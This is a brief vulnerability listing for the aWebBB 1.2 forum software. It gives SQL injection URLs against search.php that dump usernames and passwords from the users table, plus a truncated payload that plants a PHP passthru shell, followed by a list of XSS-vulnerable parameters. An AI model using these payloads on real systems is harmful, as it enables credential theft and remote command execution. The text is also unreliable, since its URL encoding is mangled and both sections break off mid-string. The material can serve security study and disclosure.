awebBB 1.2 Vuln

SQL Injection /search.php?a=1&q=as&rowstart=1,1020UNION20SELECT200,0,0,username,passwor d,0,0,020from20users/ /search.php?a=1&q=as&rowstart=1,1020UNION20SELECT200,0,0,VERSION,USER ,0,0,0/ If magicquotesgpc is off: /search.php?a=1&q=as&rowstart=1,1020UNION20SELECT200,0,'?20passthru$G...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in aWebBB 1.2 allow remote attackers to inject arbitrary web script or HTML via the 1 tname or 2 fpost parameters to a post.php; 3 fullname, 4 emailadd, 5 country, 6 sig, or 7 otherav parameters to b editac.php; or 8 fullname, 9 emailadd, or 10...